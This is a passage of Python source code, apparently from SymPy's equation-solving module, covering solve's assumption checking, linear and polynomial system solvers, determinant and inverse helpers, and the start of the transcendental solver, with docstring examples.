dict([(swap_sym[k], v.subs(swap_sym)) for k, v in sol.items()]) # undo the dictionary solutions returned when the system was only partially # solved with poly-system if all symbols are present if ( not flags.get('dict', False) and solution and ordered_symbols and type(solution) is not dict and type(solution[0]) is dict and all(s in solution[0] for s in symbols) ): solution = [tuple([r[s].subs(r) for s in symbols]) for r in solution] # Get assumptions about symbols, to filter solutions. # Note that if assumptions about a solution can't be verified, it is still # returned. check = flags.get('check', True) # restore floats if floats and solution and flags.get('rational', None) is None: solution = nfloat(solution, exponent=False) if check and solution: # assumption checking warn = flags.get('warn', False) got_None = [] # solutions for which one or more symbols gave None no_False = [] # solutions for which no symbols gave False if type(solution) is tuple: # this has already been checked and is in as_set form return solution elif type(solution) is list: if type(solution[0]) is tuple: for sol in solution: for symb, val in zip(symbols, sol): test = check_assumptions(val, **symb.assumptions0) if test is False: break if test is None: got_None.append(sol) else: no_False.append(sol) elif type(solution[0]) is dict: for sol in solution: a_None = False for symb, val in sol.items(): test = check_assumptions(val, **symb.assumptions0) if test: continue if test is False: break a_None = True else: no_False.append(sol) if a_None: got_None.append(sol) else: # list of expressions for sol in solution: test = check_assumptions(sol, **symbols[0].assumptions0) if test is False: continue no_False.append(sol) if test is None: got_None.append(sol) elif type(solution) is dict: a_None = False for symb, val in solution.items(): test = check_assumptions(val, **symb.assumptions0) if test: continue if test is False: no_False = None break a_None = True else: no_False = solution if a_None: got_None.append(solution) elif isinstance(solution, (Relational, And, Or)): if len(symbols) != 1: raise ValueError("Length should be 1") if warn and symbols[0].assumptions0: warnings.warn(filldedent(""" \tWarning: assumptions about variable '%s' are not handled currently.""" % symbols[0])) # TODO: check also variable assumptions for inequalities else: raise TypeError('Unrecognized solution') # improve the checker solution = no_False if warn and got_None: warnings.warn(filldedent(""" \tWarning: assumptions concerning following solution(s) can't be checked:""" + '\n\t' + ', '.join(str(s) for s in got_None))) # # done ########################################################################### as_dict = flags.get('dict', False) as_set = flags.get('set', False) if not as_set and isinstance(solution, list): # Make sure that a list of solutions is ordered in a canonical way. solution.sort(key=default_sort_key) if not as_dict and not as_set: return solution or [] # return a list of mappings or [] if not solution: solution = [] else: if isinstance(solution, dict): solution = [solution] elif iterable(solution[0]): solution = [dict(list(zip(symbols, s))) for s in solution] elif isinstance(solution[0], dict): pass else: if len(symbols) != 1: raise ValueError("Length should be 1") solution = [{symbols[0]: s} for s in solution] if as_dict: return solution assert as_set if not solution: return [], set() k = list(ordered(solution[0].keys())) return k, set([tuple([s[ki] for ki in k]) for s in solution]) def _solve(f, *symbols, **flags): """Return a checked solution for f in terms of one or more of the symbols. A list should be returned except for the case when a linear undetermined-coefficients equation is encountered (in which case a dictionary is returned). If no method is implemented to solve the equation, a NotImplementedError will be raised. In the case that conversion of an expression to a Poly gives None a ValueError will be raised.""" not_impl_msg = "No algorithms are implemented to solve equation %s" if len(symbols) != 1: soln = None free = f.free_symbols ex = free - set(symbols) if len(ex) != 1: ind, dep = f.as_independent(*symbols) ex = ind.free_symbols & dep.free_symbols if len(ex) == 1: ex = ex.pop() try: # soln may come back as dict, list of dicts or tuples, or # tuple of symbol list and set of solution tuples soln = solve_undetermined_coeffs(f, symbols, ex, **flags) except NotImplementedError: pass if soln: if flags.get('simplify', True): if type(soln) is dict: for k in soln: soln[k] = simplify(soln[k]) elif type(soln) is list: if type(soln[0]) is dict: for d in soln: for k in d: d[k] = simplify(d[k]) elif type(soln[0]) is tuple: soln = [tuple(simplify(i) for i in j) for j in soln] else: raise TypeError('unrecognized args in list') elif type(soln) is tuple: sym, sols = soln soln = sym, set([tuple(simplify(i) for i in j) for j in sols]) else: raise TypeError('unrecognized solution type') return soln # find first successful solution failed = [] got_s = set([]) result = [] for s in symbols: xi, v = solve_linear(f, symbols=[s]) if xi == s: # no need to check but we should simplify if desired if flags.get('simplify', True): v = simplify(v) vfree = v.free_symbols if got_s and any([ss in vfree for ss in got_s]): # sol depends on previously solved symbols: discard it continue got_s.add(xi) result.append({xi: v}) elif xi: # there might be a non-linear solution if xi is not 0 failed.append(s) if not failed: return result for s in failed: try: soln = _solve(f, s, **flags) for sol in soln: if got_s and any([ss in sol.free_symbols for ss in got_s]): # sol depends on previously solved symbols: discard it continue got_s.add(s) result.append({s: sol}) except NotImplementedError: continue if got_s: return result else: raise NotImplementedError(not_impl_msg % f) symbol = symbols[0] # /!\ capture this flag then set it to False so that no checking in # recursive calls will be done; only the final answer is checked checkdens = check = flags.pop('check', True) flags['check'] = False # build up solutions if f is a Mul if f.is_Mul: result = set() for m in f.args: soln = _solve(m, symbol, **flags) result.update(set(soln)) result = list(result) if check: # all solutions have been checked but now we must # check that the solutions do not set denominators # in any factor to zero dens = _simple_dens(f, symbols) result = [s for s in result if all(not checksol(den, {symbol: s}, **flags) for den in dens)] # set flags for quick exit at end check = False flags['simplify'] = False elif f.is_Piecewise: result = set() for n, (expr, cond) in enumerate(f.args): candidates = _solve(piecewise_fold(expr), symbol, **flags) for candidate in candidates: if candidate in result: continue try: v = (cond == True) or cond.subs(symbol, candidate) except: v = False if v != False: # Only include solutions that do not match the condition # of any previous pieces. matches_other_piece = False for other_n, (other_expr, other_cond) in enumerate(f.args): if other_n == n: break if other_cond == False: continue try: if other_cond.subs(symbol, candidate) == True: matches_other_piece = True break except: pass if not matches_other_piece: v = v == True or v.doit() if isinstance(v, Relational): v = v.canonical result.add(Piecewise( (candidate, v), (S.NaN, True) )) check = False else: # first see if it really depends on symbol and whether there # is only a linear solution f_num, sol = solve_linear(f, symbols=symbols) if f_num is S.Zero: return [] elif f_num.is_Symbol: # no need to check but simplify if desired if flags.get('simplify', True): sol = simplify(sol) return [sol] result = False # no solution was obtained msg = '' # there is no failure message # Poly is generally robust enough to convert anything to # a polynomial and tell us the different generators that it # contains, so we will inspect the generators identified by # polys to figure out what to do. # try to identify a single generator that will allow us to solve this # as a polynomial, followed (perhaps) by a change of variables if the # generator is not a symbol try: poly = Poly(f_num) if poly is None: raise ValueError('could not convert %s to Poly' % f_num) except GeneratorsNeeded: simplified_f = simplify(f_num) if simplified_f != f_num: return _solve(simplified_f, symbol, **flags) raise ValueError('expression appears to be a constant') gens = [g for g in poly.gens if g.has(symbol)] def _as_base_q(x): """Return (b**e, q) for x = b**(p*e/q) where p/q is the leading Rational of the exponent of x, e.g. exp(-2*x/3) -> (exp(x), 3) """ b, e = x.as_base_exp() if e.is_Rational: return b, e.q if not e.is_Mul: return x, 1 c, ee = e.as_coeff_Mul() if c.is_Rational and c is not S.One: # c could be a Float return b**ee, c.q return x, 1 if len(gens) > 1: # If there is more than one generator, it could be that the # generators have the same base but different powers, e.g. # >>> Poly(exp(x) + 1/exp(x)) # Poly(exp(-x) + exp(x), exp(-x), exp(x), domain='ZZ') # # If unrad was not disabled then there should be no rational # exponents appearing as in # >>> Poly(sqrt(x) + sqrt(sqrt(x))) # Poly(sqrt(x) + x**(1/4), sqrt(x), x**(1/4), domain='ZZ') bases, qs = list(zip(*[_as_base_q(g) for g in gens])) bases = set(bases) if len(bases) > 1 or not all(q == 1 for q in qs): funcs = set(b for b in bases if b.is_Function) trig = set([_ for _ in funcs if isinstance(_, TrigonometricFunction)]) other = funcs - trig if not other and len(funcs.intersection(trig)) > 1: newf = TR1(f_num).rewrite(tan) if newf != f_num: result = _solve(newf, symbol, **flags) # just a simple case - see if replacement of single function # clears all symbol-dependent functions, e.g. # log(x) - log(log(x) - 1) - 3 can be solved even though it has # two generators. if result is False and funcs: funcs = list(ordered(funcs)) # put shallowest function first f1 = funcs[0] t = Dummy('t') # perform the substitution ftry = f_num.subs(f1, t) # if no Functions left, we can proceed with usual solve if not ftry.has(symbol): cv_sols = _solve(ftry, t, **flags) cv_inv = _solve(t - f1, symbol, **flags)[0] sols = list() for sol in cv_sols: sols.append(cv_inv.subs(t, sol)) result = list(ordered(sols)) if result is False: msg = 'multiple generators %s' % gens else: # e.g. case where gens are exp(x), exp(-x) u = bases.pop() t = Dummy('t') inv = _solve(u - t, symbol, **flags) if isinstance(u, (Pow, exp)): # this will be resolved by factor in _tsolve but we might # as well try a simple expansion here to get things in # order so something like the following will work now without # having to factor: # # >>> eq = (exp(I*(-x-2))+exp(I*(x+2))) # >>> eq.subs(exp(x),y) # fails # exp(I*(-x - 2)) + exp(I*(x + 2)) # >>> eq.expand().subs(exp(x),y) # works # y**I*exp(2*I) + y**(-I)*exp(-2*I) def _expand(p): b, e = p.as_base_exp() e = expand_mul(e) return expand_power_exp(b**e) ftry = f_num.replace( lambda w: w.is_Pow or isinstance(w, exp), _expand).subs(u, t) if not ftry.has(symbol): soln = _solve(ftry, t, **flags) sols = list() for sol in soln: for i in inv: sols.append(i.subs(t, sol)) result = list(ordered(sols)) elif len(gens) == 1: # There is only one generator that we are interested in, but # there may have been more than one generator identified by # polys (e.g. for symbols other than the one we are interested # in) so recast the poly in terms of our generator of interest. # Also use composite=True with f_num since Poly won't update # poly as documented in issue 8810. poly = Poly(f_num, gens[0], composite=True) # if we aren't on the tsolve-pass, use roots if not flags.pop('tsolve', False): soln = None deg = poly.degree() flags['tsolve'] = True solvers = dict([(k, flags.get(k, True)) for k in ('cubics', 'quartics', 'quintics')]) soln = roots(poly, **solvers) if sum(soln.values()) < deg: # e.g. roots(32*x**5 + 400*x**4 + 2032*x**3 + # 5000*x**2 + 6250*x + 3189) -> {} # so all_roots is used and RootOf instances are # returned *unless* the system is multivariate # or high-order EX domain. try: soln = poly.all_roots() except NotImplementedError: if not flags.get('incomplete', True): raise NotImplementedError( filldedent(''' Neither high-order multivariate polynomials nor sorting of EX-domain polynomials is supported. If you want to see any results, pass keyword incomplete=True to solve; to see numerical values of roots for univariate expressions, use nroots. ''')) else: pass else: soln = list(soln.keys()) if soln is not None: u = poly.gen if u != symbol: try: t = Dummy('t') iv = _solve(u - t, symbol, **flags) soln = list(ordered(set([i.subs(t, s) for i in iv for s in soln]))) except NotImplementedError: # perhaps _tsolve can handle f_num soln = None else: check = False # only dens need to be checked if soln is not None: if len(soln) > 2: # if the flag wasn't set then unset it since high-order # results are quite long. Perhaps one could base this # decision on a certain critical length of the # roots. In addition, wester test M2 has an expression # whose roots can be shown to be real with the # unsimplified form of the solution whereas only one of # the simplified forms appears to be real. flags['simplify'] = flags.get('simplify', False) result = soln # fallback if above fails # ----------------------- if result is False: # try unrad if flags.pop('_unrad', True): try: u = unrad(f_num, symbol) except (ValueError, NotImplementedError): u = False if u: eq, cov = u if cov: isym, ieq = cov inv = _solve(ieq, symbol, **flags)[0] rv = set([inv.subs(isym, xi) for xi in _solve(eq, isym, **flags)]) else: try: rv = set(_solve(eq, symbol, **flags)) except NotImplementedError: rv = None if rv is not None: result = list(ordered(rv)) # if the flag wasn't set then unset it since unrad results # can be quite long or of very high order flags['simplify'] = flags.get('simplify', False) else: pass # for coverage # try _tsolve if result is False: flags.pop('tsolve', None) # allow tsolve to be used on next pass try: soln = _tsolve(f_num, symbol, **flags) if soln is not None: result = soln except PolynomialError: pass # ----------- end of fallback ---------------------------- if result is False: raise NotImplementedError('\n'.join([msg, not_impl_msg % f])) if flags.get('simplify', True): result = list(map(simplify, result)) # we just simplified the solution so we now set the flag to # False so the simplification doesn't happen again in checksol() flags['simplify'] = False if checkdens: # reject any result that makes any denom. affirmatively 0; # if in doubt, keep it dens = _simple_dens(f, symbols) result = [s for s in result if all(not checksol(d, {symbol: s}, **flags) for d in dens)] if check: # keep only results if the check is not False result = [r for r in result if checksol(f_num, {symbol: r}, **flags) is not False] return result def _solve_system(exprs, symbols, **flags): if not exprs: return [] polys = [] dens = set() failed = [] result = False linear = False manual = flags.get('manual', False) checkdens = check = flags.get('check', True) for j, g in enumerate(exprs): dens.update(_simple_dens(g, symbols)) i, d = _invert(g, *symbols) g = d - i g = g.as_numer_denom()[0] if manual: failed.append(g) continue poly = g.as_poly(*symbols, extension=True) if poly is not None: polys.append(poly) else: failed.append(g) if not polys: solved_syms = [] else: if all(p.is_linear for p in polys): n, m = len(polys), len(symbols) matrix = zeros(n, m + 1) for i, poly in enumerate(polys): for monom, coeff in poly.terms(): try: j = monom.index(1) matrix[i, j] = coeff except ValueError: matrix[i, m] = -coeff # returns a dictionary ({symbols: values}) or None if flags.pop('particular', False): result = minsolve_linear_system(matrix, *symbols, **flags) else: result = solve_linear_system(matrix, *symbols, **flags) if failed: if result: solved_syms = list(result.keys()) else: solved_syms = [] else: linear = True else: if len(symbols) > len(polys): from sympy.utilities.iterables import subsets free = set().union(*[p.free_symbols for p in polys]) free = list(ordered(free.intersection(symbols))) got_s = set() result = [] for syms in subsets(free, len(polys)): try: # returns [] or list of tuples of solutions for syms res = solve_poly_system(polys, *syms) if res: for r in res: skip = False for r1 in r: if got_s and any([ss in r1.free_symbols for ss in got_s]): # sol depends on previously # solved symbols: discard it skip = True if not skip: got_s.update(syms) result.extend([dict(list(zip(syms, r)))]) except NotImplementedError: pass if got_s: solved_syms = list(got_s) else: raise NotImplementedError('no valid subset found') else: try: result = solve_poly_system(polys, *symbols) solved_syms = symbols except NotImplementedError: failed.extend([g.as_expr() for g in polys]) solved_syms = [] if result: # we don't know here if the symbols provided were given # or not, so let solve resolve that. A list of dictionaries # is going to always be returned from here. # result = [dict(list(zip(solved_syms, r))) for r in result] if result: if type(result) is dict: result = [result] else: result = [{}] if failed: # For each failed equation, see if we can solve for one of the # remaining symbols from that equation. If so, we update the # solution set and continue with the next failed equation, # repeating until we are done or we get an equation that can't # be solved. def _ok_syms(e, sort=False): rv = (e.free_symbols - solved_syms) & legal if sort: rv = list(rv) rv.sort(key=default_sort_key) return rv solved_syms = set(solved_syms) # set of symbols we have solved for legal = set(symbols) # what we are interested in # sort so equation with the fewest potential symbols is first for eq in ordered(failed, lambda _: len(_ok_syms(_))): u = Dummy() # used in solution checking newresult = [] bad_results = [] got_s = set() hit = False for r in result: # update eq with everything that is known so far eq2 = eq.subs(r) # if check is True then we see if it satisfies this # equation, otherwise we just accept it if check and r: b = checksol(u, u, eq2, minimal=True) if b is not None: # this solution is sufficient to know whether # it is valid or not so we either accept or # reject it, then continue if b: newresult.append(r) else: bad_results.append(r) continue # search for a symbol amongst those available that # can be solved for ok_syms = _ok_syms(eq2, sort=True) if not ok_syms: if r: newresult.append(r) break # skip as it's independent of desired symbols for s in ok_syms: try: soln = _solve(eq2, s, **flags) except NotImplementedError: continue # put each solution in r and append the now-expanded # result in the new result list; use copy since the # solution for s in being added in-place for sol in soln: if got_s and any([ss in sol.free_symbols for ss in got_s]): # sol depends on previously solved symbols: discard it continue rnew = r.copy() for k, v in r.items(): rnew[k] = v.subs(s, sol) # and add this new solution rnew[s] = sol newresult.append(rnew) hit = True got_s.add(s) if not hit: raise NotImplementedError('could not solve %s' % eq2) else: result = newresult for b in bad_results: if b in result: result.remove(b) default_simplify = bool(failed) # rely on system-solvers to simplify if flags.get('simplify', default_simplify): for r in result: for k in r: r[k] = simplify(r[k]) flags['simplify'] = False # don't need to do so in checksol now if checkdens: result = [r for r in result if not any(checksol(d, r, **flags) for d in dens)] if check and not linear: result = [r for r in result if not any(checksol(e, r, **flags) is False for e in exprs)] result = [r for r in result if r] if linear and result: result = result[0] return result def solve_linear(lhs, rhs=0, symbols=[], exclude=[]): r""" Return a tuple derived from f = lhs - rhs that is one of the following: (0, 1) meaning that ``f`` is independent of the symbols in ``symbols`` that aren't in ``exclude``, e.g:: >>> from sympy.solvers.solvers import solve_linear >>> from sympy.abc import x, y, z >>> from sympy import cos, sin >>> eq = y*cos(x)**2 + y*sin(x)**2 - y # = y*(1 - 1) = 0 >>> solve_linear(eq) (0, 1) >>> eq = cos(x)**2 + sin(x)**2 # = 1 >>> solve_linear(eq) (0, 1) >>> solve_linear(x, exclude=[x]) (0, 1) (0, 0) meaning that there is no solution to the equation amongst the symbols given. (If the first element of the tuple is not zero then the function is guaranteed to be dependent on a symbol in ``symbols``.) (symbol, solution) where symbol appears linearly in the numerator of ``f``, is in ``symbols`` (if given) and is not in ``exclude`` (if given). No simplification is done to ``f`` other than a ``mul=True`` expansion, so the solution will correspond strictly to a unique solution. ``(n, d)`` where ``n`` and ``d`` are the numerator and denominator of ``f`` when the numerator was not linear in any symbol of interest; ``n`` will never be a symbol unless a solution for that symbol was found (in which case the second element is the solution, not the denominator). Examples ======== >>> from sympy.core.power import Pow >>> from sympy.polys.polytools import cancel The variable ``x`` appears as a linear variable in each of the following: >>> solve_linear(x + y**2) (x, -y**2) >>> solve_linear(1/x - y**2) (x, y**(-2)) When not linear in x or y then the numerator and denominator are returned. >>> solve_linear(x**2/y**2 - 3) (x**2 - 3*y**2, y**2) If the numerator of the expression is a symbol then (0, 0) is returned if the solution for that symbol would have set any denominator to 0: >>> eq = 1/(1/x - 2) >>> eq.as_numer_denom() (x, -2*x + 1) >>> solve_linear(eq) (0, 0) But automatic rewriting may cause a symbol in the denominator to appear in the numerator so a solution will be returned: >>> (1/x)**-1 x >>> solve_linear((1/x)**-1) (x, 0) Use an unevaluated expression to avoid this: >>> solve_linear(Pow(1/x, -1, evaluate=False)) (0, 0) If ``x`` is allowed to cancel in the following expression, then it appears to be linear in ``x``, but this sort of cancellation is not done by ``solve_linear`` so the solution will always satisfy the original expression without causing a division by zero error. >>> eq = x**2*(1/x - z**2/x) >>> solve_linear(cancel(eq)) (x, 0) >>> solve_linear(eq) (x**2*(-z**2 + 1), x) A list of symbols for which a solution is desired may be given: >>> solve_linear(x + y + z, symbols=[y]) (y, -x - z) A list of symbols to ignore may also be given: >>> solve_linear(x + y + z, exclude=[x]) (y, -x - z) (A solution for ``y`` is obtained because it is the first variable from the canonically sorted list of symbols that had a linear solution.) """ if isinstance(lhs, Equality): if rhs: raise ValueError(filldedent(''' If lhs is an Equality, rhs must be 0 but was %s''' % rhs)) rhs = lhs.rhs lhs = lhs.lhs dens = None eq = lhs - rhs n, d = eq.as_numer_denom() if not n: return S.Zero, S.One free = n.free_symbols if not symbols: symbols = free else: bad = [s for s in symbols if not s.is_Symbol] if bad: if len(bad) == 1: bad = bad[0] if len(symbols) == 1: eg = 'solve(%s, %s)' % (eq, symbols[0]) else: eg = 'solve(%s, *%s)' % (eq, list(symbols)) raise ValueError(filldedent(''' solve_linear only handles symbols, not %s. To isolate non-symbols use solve, e.g. >>> %s <<<. ''' % (bad, eg))) symbols = free.intersection(symbols) symbols = symbols.difference(exclude) if not symbols: return S.Zero, S.One dfree = d.free_symbols # derivatives are easy to do but tricky to analyze to see if they # are going to disallow a linear solution, so for simplicity we # just evaluate the ones that have the symbols of interest derivs = defaultdict(list) for der in n.atoms(Derivative): csym = der.free_symbols & symbols for c in csym: derivs[c].append(der) all_zero = True for xi in sorted(symbols, key=default_sort_key): # canonical order # if there are derivatives in this var, calculate them now if type(derivs[xi]) is list: derivs[xi] = dict([(der, der.doit()) for der in derivs[xi]]) newn = n.subs(derivs[xi]) dnewn_dxi = newn.diff(xi) # dnewn_dxi can be nonzero if it survives differentation by any # of its free symbols free = dnewn_dxi.free_symbols if dnewn_dxi and (not free or any(dnewn_dxi.diff(s) for s in free)): all_zero = False if dnewn_dxi is S.NaN: break if xi not in dnewn_dxi.free_symbols: vi = -(newn.subs(xi, 0))/dnewn_dxi if dens is None: dens = _simple_dens(eq, symbols) if not any(checksol(di, {xi: vi}, minimal=True) is True for di in dens): # simplify any trivial integral irep = [(i, i.doit()) for i in vi.atoms(Integral) if i.function.is_number] # do a slight bit of simplification vi = expand_mul(vi.subs(irep)) return xi, vi if all_zero: return S.Zero, S.One if n.is_Symbol: # no solution for this symbol was found return S.Zero, S.Zero return n, d def minsolve_linear_system(system, *symbols, **flags): r""" Find a particular solution to a linear system. In particular, try to find a solution with the minimal possible number of non-zero variables using a naive algorithm with exponential complexity. If ``quick=True``, a heuristic is used. """ quick = flags.get('quick', False) # Check if there are any non-zero solutions at all s0 = solve_linear_system(system, *symbols, **flags) if not s0 or all(v == 0 for v in s0.values()): return s0 if quick: # We just solve the system and try to heuristically find a nice # solution. s = solve_linear_system(system, *symbols) def update(determined, solution): delete = [] for k, v in solution.items(): solution[k] = v.subs(determined) if not solution[k].free_symbols: delete.append(k) determined[k] = solution[k] for k in delete: del solution[k] determined = {} update(determined, s) while s: # NOTE sort by default_sort_key to get deterministic result k = max((k for k in s.values()), key=lambda x: (len(x.free_symbols), default_sort_key(x))) x = max(k.free_symbols, key=default_sort_key) if len(k.free_symbols) != 1: determined[x] = S(0) else: val = solve(k)[0] if val == 0 and all(v.subs(x, val) == 0 for v in s.values()): determined[x] = S(1) else: determined[x] = val update(determined, s) return determined else: # We try to select n variables which we want to be non-zero. # All others will be assumed zero. We try to solve the modified system. # If there is a non-trivial solution, just set the free variables to # one. If we do this for increasing n, trying all combinations of # variables, we will find an optimal solution. # We speed up slightly by starting at one less than the number of # variables the quick method manages. from itertools import combinations from sympy.utilities.misc import debug N = len(symbols) bestsol = minsolve_linear_system(system, *symbols, quick=True) n0 = len([x for x in bestsol.values() if x != 0]) for n in range(n0 - 1, 1, -1): debug('minsolve: %s' % n) thissol = None for nonzeros in combinations(list(range(N)), n): subm = Matrix([system.col(i).T for i in nonzeros] + [system.col(-1).T]).T s = solve_linear_system(subm, *[symbols[i] for i in nonzeros]) if s and not all(v == 0 for v in s.values()): subs = [(symbols[v], S(1)) for v in nonzeros] for k, v in s.items(): s[k] = v.subs(subs) for sym in symbols: if sym not in s: if symbols.index(sym) in nonzeros: s[sym] = S(1) else: s[sym] = S(0) thissol = s break if thissol is None: break bestsol = thissol return bestsol def solve_linear_system(system, *symbols, **flags): r""" Solve system of N linear equations with M variables, which means both under- and overdetermined systems are supported. The possible number of solutions is zero, one or infinite. Respectively, this procedure will return None or a dictionary with solutions. In the case of underdetermined systems, all arbitrary parameters are skipped. This may cause a situation in which an empty dictionary is returned. In that case, all symbols can be assigned arbitrary values. Input to this functions is a Nx(M+1) matrix, which means it has to be in augmented form. If you prefer to enter N equations and M unknowns then use `solve(Neqs, *Msymbols)` instead. Note: a local copy of the matrix is made by this routine so the matrix that is passed will not be modified. The algorithm used here is fraction-free Gaussian elimination, which results, after elimination, in an upper-triangular matrix. Then solutions are found using back-substitution. This approach is more efficient and compact than the Gauss-Jordan method. >>> from sympy import Matrix, solve_linear_system >>> from sympy.abc import x, y Solve the following system:: x + 4 y == 2 -2 x + y == 14 >>> system = Matrix(( (1, 4, 2), (-2, 1, 14))) >>> solve_linear_system(system, x, y) {x: -6, y: 2} A degenerate system returns an empty dictionary. >>> system = Matrix(( (0,0,0), (0,0,0) )) >>> solve_linear_system(system, x, y) {} """ do_simplify = flags.get('simplify', True) if system.rows == system.cols - 1 == len(symbols): try: # well behaved n-equations and n-unknowns inv = inv_quick(system[:, :-1]) rv = dict(zip(symbols, inv*system[:, -1])) if do_simplify: for k, v in rv.items(): rv[k] = simplify(v) if not all(i.is_zero for i in rv.values()): # non-trivial solution return rv except ValueError: pass matrix = system[:, :] syms = list(symbols) i, m = 0, matrix.cols - 1 # don't count augmentation while i < matrix.rows: if i == m: # an overdetermined system if any(matrix[i:, m]): return None # no solutions else: # remove trailing rows matrix = matrix[:i, :] break if not matrix[i, i]: # there is no pivot in current column # so try to find one in other columns for k in range(i + 1, m): if matrix[i, k]: break else: if matrix[i, m]: # We need to know if this is always zero or not. We # assume that if there are free symbols that it is not # identically zero (or that there is more than one way # to make this zero). Otherwise, if there are none, this # is a constant and we assume that it does not simplify # to zero XXX are there better (fast) ways to test this? # The .equals(0) method could be used but that can be # slow; numerical testing is prone to errors of scaling. if not matrix[i, m].free_symbols: return None # no solution # A row of zeros with a non-zero rhs can only be accepted # if there is another equivalent row. Any such rows will # be deleted. nrows = matrix.rows rowi = matrix.row(i) ip = None j = i + 1 while j < matrix.rows: # do we need to see if the rhs of j # is a constant multiple of i's rhs? rowj = matrix.row(j) if rowj == rowi: matrix.row_del(j) elif rowj[:-1] == rowi[:-1]: if ip is None: _, ip = rowi[-1].as_content_primitive() _, jp = rowj[-1].as_content_primitive() if not (simplify(jp - ip) or simplify(jp + ip)): matrix.row_del(j) j += 1 if nrows == matrix.rows: # no solution return None # zero row or was a linear combination of # other rows or was a row with a symbolic # expression that matched other rows, e.g. [0, 0, x - y] # so now we can safely skip it matrix.row_del(i) if not matrix: # every choice of variable values is a solution # so we return an empty dict instead of None return dict() continue # we want to change the order of colums so # the order of variables must also change syms[i], syms[k] = syms[k], syms[i] matrix.col_swap(i, k) pivot_inv = S.One/matrix[i, i] # divide all elements in the current row by the pivot matrix.row_op(i, lambda x, _: x * pivot_inv) for k in range(i + 1, matrix.rows): if matrix[k, i]: coeff = matrix[k, i] # subtract from the current row the row containing # pivot and multiplied by extracted coefficient matrix.row_op(k, lambda x, j: simplify(x - matrix[i, j]*coeff)) i += 1 # if there weren't any problems, augmented matrix is now # in row-echelon form so we can check how many solutions # there are and extract them using back substitution if len(syms) == matrix.rows: # this system is Cramer equivalent so there is # exactly one solution to this system of equations k, solutions = i - 1, {} while k >= 0: content = matrix[k, m] # run back-substitution for variables for j in range(k + 1, m): content -= matrix[k, j]*solutions[syms[j]] if do_simplify: solutions[syms[k]] = simplify(content) else: solutions[syms[k]] = content k -= 1 return solutions elif len(syms) > matrix.rows: # this system will have infinite number of solutions # dependent on exactly len(syms) - i parameters k, solutions = i - 1, {} while k >= 0: content = matrix[k, m] # run back-substitution for variables for j in range(k + 1, i): content -= matrix[k, j]*solutions[syms[j]] # run back-substitution for parameters for j in range(i, m): content -= matrix[k, j]*syms[j] if do_simplify: solutions[syms[k]] = simplify(content) else: solutions[syms[k]] = content k -= 1 return solutions else: return [] # no solutions def solve_undetermined_coeffs(equ, coeffs, sym, **flags): """Solve equation of a type p(x; a_1, ..., a_k) == q(x) where both p, q are univariate polynomials and f depends on k parameters. The result of this functions is a dictionary with symbolic values of those parameters with respect to coefficients in q. This functions accepts both Equations class instances and ordinary SymPy expressions. Specification of parameters and variable is obligatory for efficiency and simplicity reason. >>> from sympy import Eq >>> from sympy.abc import a, b, c, x >>> from sympy.solvers import solve_undetermined_coeffs >>> solve_undetermined_coeffs(Eq(2*a*x + a+b, x), [a, b], x) {a: 1/2, b: -1/2} >>> solve_undetermined_coeffs(Eq(a*c*x + a+b, x), [a, b], x) {a: 1/c, b: -1/c} """ if isinstance(equ, Equality): # got equation, so move all the # terms to the left hand side equ = equ.lhs - equ.rhs equ = cancel(equ).as_numer_denom()[0] system = list(collect(equ.expand(), sym, evaluate=False).values()) if not any(equ.has(sym) for equ in system): # consecutive powers in the input expressions have # been successfully collected, so solve remaining # system using Gaussian elimination algorithm return solve(system, *coeffs, **flags) else: return None # no solutions def solve_linear_system_LU(matrix, syms): """ Solves the augmented matrix system using LUsolve and returns a dictionary in which solutions are keyed to the symbols of syms *as ordered*. The matrix must be invertible. Examples ======== >>> from sympy import Matrix >>> from sympy.abc import x, y, z >>> from sympy.solvers.solvers import solve_linear_system_LU >>> solve_linear_system_LU(Matrix([ ... [1, 2, 0, 1], ... [3, 2, 2, 1], ... [2, 0, 0, 1]]), [x, y, z]) {x: 1/2, y: 1/4, z: -1/2} See Also ======== sympy.matrices.LUsolve """ if matrix.rows != matrix.cols - 1: raise ValueError("Rows should be equal to columns - 1") A = matrix[:matrix.rows, :matrix.rows] b = matrix[:, matrix.cols - 1:] soln = A.LUsolve(b) solutions = {} for i in range(soln.rows): solutions[syms[i]] = soln[i, 0] return solutions def det_perm(M): """Return the det(``M``) by using permutations to select factors. For size larger than 8 the number of permutations becomes prohibitively large, or if there are no symbols in the matrix, it is better to use the standard determinant routines, e.g. `M.det()`. See Also ======== det_minor det_quick """ args = [] s = True n = M.rows try: list = M._mat except AttributeError: list = flatten(M.tolist()) for perm in generate_bell(n): fac = [] idx = 0 for j in perm: fac.append(list[idx + j]) idx += n term = Mul(*fac) # disaster with unevaluated Mul -- takes forever for n=7 args.append(term if s else -term) s = not s return Add(*args) def det_minor(M): """Return the ``det(M)`` computed from minors without introducing new nesting in products. See Also ======== det_perm det_quick """ n = M.rows if n == 2: return M[0, 0]*M[1, 1] - M[1, 0]*M[0, 1] else: return sum([(1, -1)[i % 2]*Add(*[M[0, i]*d for d in Add.make_args(det_minor(M.minorMatrix(0, i)))]) if M[0, i] else S.Zero for i in range(n)]) def det_quick(M, method=None): """Return ``det(M)`` assuming that either there are lots of zeros or the size of the matrix is small. If this assumption is not met, then the normal Matrix.det function will be used with method = ``method``. See Also ======== det_minor det_perm """ if any(i.has(Symbol) for i in M): if M.rows < 8 and all(i.has(Symbol) for i in M): return det_perm(M) return det_minor(M) else: return M.det(method=method) if method else M.det() def inv_quick(M): """Return the inverse of ``M``, assuming that either there are lots of zeros or the size of the matrix is small. """ from sympy.matrices import zeros if any(i.has(Symbol) for i in M): if all(i.has(Symbol) for i in M): det = lambda _: det_perm(_) else: det = lambda _: det_minor(_) else: return M.inv() n = M.rows d = det(M) if d is S.Zero: raise ValueError("Matrix det == 0; not invertible.") ret = zeros(n) s1 = -1 for i in range(n): s = s1 = -s1 for j in range(n): di = det(M.minorMatrix(i, j)) ret[j, i] = s*di/d s = -s return ret # these are functions that have multiple inverse values per period multi_inverses = { sin: lambda x: (asin(x), S.Pi - asin(x)), cos: lambda x: (acos(x), 2*S.Pi - acos(x)), } def _tsolve(eq, sym, **flags): """ Helper for _solve that solves a transcendental equation with respect to the given symbol. Various equations containing powers and logarithms, can be solved. There is currently no guarantee that all solutions will be returned or that a real solution will be favored over a complex one. Either a list of potential solutions will be returned or None will be returned (in the case that no method was known to get a solution for the equation). All other errors (like the inability to cast an expression as a Poly) are unhandled. Examples ======== >>> from sympy import log >>> from sympy.solvers.solvers import _tsolve as tsolve >>> from sympy.abc import x >>> tsolve(3**(2*x + 5) - 4, x) [-5/2 + log(2)/log(3), (-5*log(3)/2 + log(2) + 